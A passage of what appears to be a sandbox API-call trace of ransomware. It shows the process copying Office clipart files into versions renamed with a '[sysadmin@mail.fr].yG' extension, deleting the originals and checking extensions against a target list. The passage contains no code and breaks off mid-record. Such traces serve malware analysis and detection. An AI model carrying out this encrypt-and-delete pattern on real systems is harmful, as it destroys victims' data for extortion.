	[0162.229] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101857.BMP.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101857.bmp.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0162.230] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101857.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101857.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340
	[0162.230] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0162.230] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0162.230] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101857.BMP.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101857.bmp.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538
	[0162.231] GetLastError () returned 0x0
	[0162.231] ReadFile (in: hFile=0x340, lpBuffer=0x3645020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2abfecc, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesRead=0x2abfecc*=0x7db8, lpOverlapped=0x0) returned 1
	[0162.332] WriteFile (in: hFile=0x538, lpBuffer=0x3645020*, nNumberOfBytesToWrite=0x7dc0, lpNumberOfBytesWritten=0x2abfc94, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesWritten=0x2abfc94*=0x7dc0, lpOverlapped=0x0) returned 1
	[0162.334] ReadFile (in: hFile=0x340, lpBuffer=0x3645020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2abfecc, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesRead=0x2abfecc*=0x0, lpOverlapped=0x0) returned 1
	[0162.334] WriteFile (in: hFile=0x538, lpBuffer=0x3645020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2abfc94, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesWritten=0x2abfc94*=0xec, lpOverlapped=0x0) returned 1
	[0162.334] SetEndOfFile (hFile=0x538) returned 1
	[0162.335] CloseHandle (hObject=0x538) returned 1
	[0162.335] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0162.335] SetEndOfFile (hFile=0x340) returned 1
	[0162.339] CloseHandle (hObject=0x340) returned 1
	[0162.339] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101857.BMP.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0162.617] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101857.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101857.bmp")) returned 1
	[0162.618] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101857.BMP") returned 68
	[0162.618] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101857.BMP") returned 68
	[0162.618] lstrlenW (lpString=".doc") returned 4
	[0162.618] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1
	[0162.618] lstrlenW (lpString=".docx") returned 5
	[0162.618] lstrcmpiW (lpString1=".docx", lpString2="7.BMP") returned -1
	[0162.618] lstrlenW (lpString=".pdf") returned 4
	[0162.618] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1
	[0162.618] lstrlenW (lpString=".xls") returned 4
	[0162.618] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1
	[0162.619] lstrlenW (lpString=".xlsx") returned 5
	[0162.619] lstrcmpiW (lpString1=".xlsx", lpString2="7.BMP") returned -1
	[0162.619] lstrlenW (lpString=".ppt") returned 4
	[0162.619] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1
	[0162.619] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101857.BMP") returned 68
	[0162.619] lstrlenW (lpString=".zip") returned 4
	[0162.619] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1
	[0162.619] lstrlenW (lpString=".rar") returned 4
	[0162.619] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1
	[0162.619] lstrlenW (lpString=".bz2") returned 4
	[0162.619] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1
	[0162.619] lstrlenW (lpString=".7z") returned 3
	[0162.619] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1
	[0162.619] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101857.BMP") returned 68
	[0162.619] lstrlenW (lpString=".dbf") returned 4
	[0162.619] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1
	[0162.619] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101857.BMP") returned 68
	[0162.619] lstrlenW (lpString=".1cd") returned 4
	[0162.619] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1
	[0162.619] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101857.BMP") returned 68
	[0162.619] lstrlenW (lpString=".jpg") returned 4
	[0162.619] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1
	[0162.620] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101862.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101862.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540
	[0162.685] GetFileSizeEx (in: hFile=0x540, lpFileSize=0x2abff14 | out: lpFileSize=0x2abff14*=32184) returned 1
	[0162.685] CloseHandle (hObject=0x540) returned 1
	[0162.685] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101862.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101862.bmp")) returned 0x220
	[0162.685] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101862.BMP.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101862.bmp.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0162.686] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101862.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101862.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540
	[0162.687] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0162.687] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0162.687] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101862.BMP.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101862.bmp.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520
	[0162.688] GetLastError () returned 0x0
	[0162.688] ReadFile (in: hFile=0x540, lpBuffer=0x3645020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2abfecc, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesRead=0x2abfecc*=0x7db8, lpOverlapped=0x0) returned 1
	[0162.725] WriteFile (in: hFile=0x520, lpBuffer=0x3645020*, nNumberOfBytesToWrite=0x7dc0, lpNumberOfBytesWritten=0x2abfc94, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesWritten=0x2abfc94*=0x7dc0, lpOverlapped=0x0) returned 1
	[0162.727] ReadFile (in: hFile=0x540, lpBuffer=0x3645020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2abfecc, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesRead=0x2abfecc*=0x0, lpOverlapped=0x0) returned 1
	[0162.727] WriteFile (in: hFile=0x520, lpBuffer=0x3645020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2abfc94, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesWritten=0x2abfc94*=0xec, lpOverlapped=0x0) returned 1
	[0162.727] SetEndOfFile (hFile=0x520) returned 1
	[0162.727] CloseHandle (hObject=0x520) returned 1
	[0162.727] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0162.727] SetEndOfFile (hFile=0x540) returned 1
	[0162.731] CloseHandle (hObject=0x540) returned 1
	[0162.731] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101862.BMP.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0163.309] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101862.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101862.bmp")) returned 1
	[0163.358] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101862.BMP") returned 68
	[0163.358] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101862.BMP") returned 68
	[0163.358] lstrlenW (lpString=".doc") returned 4
	[0163.358] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1
	[0163.358] lstrlenW (lpString=".docx") returned 5
	[0163.358] lstrcmpiW (lpString1=".docx", lpString2="2.BMP") returned -1
	[0163.358] lstrlenW (lpString=".pdf") returned 4
	[0163.358] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1
	[0163.358] lstrlenW (lpString=".xls") returned 4
	[0163.358] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1
	[0163.358] lstrlenW (lpString=".xlsx") returned 5
	[0163.358] lstrcmpiW (lpString1=".xlsx", lpString2="2.BMP") returned -1
	[0163.358] lstrlenW (lpString=".ppt") returned 4
	[0163.358] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1
	[0163.358] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101862.BMP") returned 68
	[0163.358] lstrlenW (lpString=".zip") returned 4
	[0163.358] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1
	[0163.358] lstrlenW (lpString=".rar") returned 4
	[0163.358] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1
	[0163.358] lstrlenW (lpString=".bz2") returned 4
	[0163.358] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1
	[0163.359] lstrlenW (lpString=".7z") returned 3
	[0163.359] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1
	[0163.359] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101862.BMP") returned 68
	[0163.359] lstrlenW (lpString=".dbf") returned 4
	[0163.359] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1
	[0163.359] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101862.BMP") returned 68
	[0163.359] lstrlenW (lpString=".1cd") returned 4
	[0163.359] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1
	[0163.359] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101862.BMP") returned 68
	[0163.359] lstrlenW (lpString=".jpg") returned 4
	[0163.359] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1
	[0163.359] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101980.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101980.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0163.645] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x2abff14 | out: lpFileSize=0x2abff14*=16104) returned 1
	[0163.645] CloseHandle (hObject=0x350) returned 1
	[0163.645] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101980.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101980.wmf")) returned 0x220
	[0163.645] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101980.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101980.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0163.646] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101980.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101980.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0163.646] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0163.646] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0163.646] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101980.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101980.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a4
	[0163.647] GetLastError () returned 0x0
	[0163.647] ReadFile (in: hFile=0x350, lpBuffer=0x3645020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2abfecc, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesRead=0x2abfecc*=0x3ee8, lpOverlapped=0x0) returned 1
	[0163.650] WriteFile (in: hFile=0x4a4, lpBuffer=0x3645020*, nNumberOfBytesToWrite=0x3ef0, lpNumberOfBytesWritten=0x2abfc94, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesWritten=0x2abfc94*=0x3ef0, lpOverlapped=0x0) returned 1
	[0163.652] ReadFile (in: hFile=0x350, lpBuffer=0x3645020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2abfecc, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesRead=0x2abfecc*=0x0, lpOverlapped=0x0) returned 1
	[0163.652] WriteFile (in: hFile=0x4a4, lpBuffer=0x3645020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2abfc94, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesWritten=0x2abfc94*=0xec, lpOverlapped=0x0) returned 1
	[0163.652] SetEndOfFile (hFile=0x4a4) returned 1
	[0163.652] CloseHandle (hObject=0x4a4) returned 1
	[0163.653] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0163.653] SetEndOfFile (hFile=0x350) returned 1
	[0163.657] CloseHandle (hObject=0x350) returned 1
	[0163.657] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101980.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0163.658] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101980.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101980.wmf")) returned 1
	[0163.659] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101980.WMF") returned 68
	[0163.659] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101980.WMF") returned 68
	[0163.659] lstrlenW (lpString=".doc") returned 4
	[0163.659] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0163.659] lstrlenW (lpString=".docx") returned 5
	[0163.659] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0163.659] lstrlenW (lpString=".pdf") returned 4
	[0163.660] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0163.660] lstrlenW (lpString=".xls") returned 4
	[0163.660] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0163.660] lstrlenW (lpString=".xlsx") returned 5
	[0163.660] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0163.660] lstrlenW (lpString=".ppt") returned 4
	[0163.660] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0163.660] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101980.WMF") returned 68
	[0163.660] lstrlenW (lpString=".zip") returned 4
	[0163.660] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0163.660] lstrlenW (lpString=".rar") returned 4
	[0163.660] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0163.660] lstrlenW (lpString=".bz2") returned 4
	[0163.660] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0163.660] lstrlenW (lpString=".7z") returned 3
	[0163.660] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0163.660] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101980.WMF") returned 68
	[0163.661] lstrlenW (lpString=".dbf") returned 4
	[0163.661] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0163.661] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101980.WMF") returned 68
	[0163.661] lstrlenW (lpString=".1cd") returned 4
	[0163.661] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0163.661] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101980.WMF") returned 68
	[0163.661] lstrlenW (lpString=".jpg") returned 4
	[0163.661] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0163.661] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103058.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103058.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0163.662] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x2abff14 | out: lpFileSize=0x2abff14*=17344) returned 1
	[0163.662] CloseHandle (hObject=0x350) returned 1
	[0163.662] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103058.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103058.wmf")) returned 0x220
	[0163.662] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103058.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103058.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0163.663] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103058.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103058.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0163.663] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0163.663] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0163.663] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103058.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103058.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a4
	[0163.665] GetLastError () returned 0x0
	[0163.665] ReadFile (in: hFile=0x350, lpBuffer=0x3645020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2abfecc, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesRead=0x2abfecc*=0x43c0, lpOverlapped=0x0) returned 1
	[0163.695] WriteFile (in: hFile=0x4a4, lpBuffer=0x3645020*, nNumberOfBytesToWrite=0x43d0, lpNumberOfBytesWritten=0x2abfc94, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesWritten=0x2abfc94*=0x43d0, lpOverlapped=0x0) returned 1
	[0163.696] ReadFile (in: hFile=0x350, lpBuffer=0x3645020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2abfecc, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesRead=0x2abfecc*=0x0, lpOverlapped=0x0) returned 1
	[0163.696] WriteFile (in: hFile=0x4a4, lpBuffer=0x3645020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2abfc94, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesWritten=0x2abfc94*=0xec, lpOverlapped=0x0) returned 1
	[0163.697] SetEndOfFile (hFile=0x4a4) returned 1
	[0163.697] CloseHandle (hObject=0x4a4) returned 1
	[0163.697] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0163.697] SetEndOfFile (hFile=0x350) returned 1
	[0163.700] CloseHandle (hObject=0x350) returned 1
	[0163.700] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103058.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0163.933] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103058.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103058.wmf")) returned 1
	[0164.507] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103058.WMF") returned 68
	[0164.507] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103058.WMF") returned 68
	[0164.507] lstrlenW (lpString=".doc") returned 4
	[0164.507] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0164.508] lstrlenW (lpString=".docx") returned 5
	[0164.508] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0164.508] lstrlenW (lpString=".pdf") returned 4
	[0164.508] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0164.508] lstrlenW (lpString=".xls") returned 4
	[0164.508] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0164.508] lstrlenW (lpString=".xlsx") returned 5
	[0164.508] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0164.509] lstrlenW (lpString=".ppt") returned 4
	[0164.509] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0164.509] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103058.WMF") returned 68
	[0164.509] lstrlenW (lpString=".zip") returned 4
	[0164.509] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0164.509] lstrlenW (lpString=".rar") returned 4
	[0164.509] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0164.509] lstrlenW (lpString=".bz2") returned 4
	[0164.509] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0164.510] lstrlenW (lpString=".7z") returned 3
	[0164.510] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0164.510] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103058.WMF") returned 68
	[0164.510] lstrlenW (lpString=".dbf") returned 4
	[0164.510] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0164.511] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103058.WMF") returned 68
	[0164.511] lstrlenW (lpString=".1cd") returned 4
	[0164.511] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0164.511] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103058.WMF") returned 68
	[0164.511] lstrlenW (lpString=".jpg") returned 4
	[0164.511] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0164.515] GetFileSizeEx (in: hFile=0x55c, lpFileSize=0x2abff14 | out: lpFileSize=0x2abff14*=5172) returned 1
	[0164.515] CloseHandle (hObject=0x55c) returned 1
	[0164.515] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105230.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105230.wmf")) returned 0x220
	[0164.516] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105230.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105230.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0164.516] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105230.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105230.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x55c
	[0164.517] SetFilePointerEx (in: hFile=0x55c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0164.517] SetFilePointerEx (in: hFile=0x55c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0164.517] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105230.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105230.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
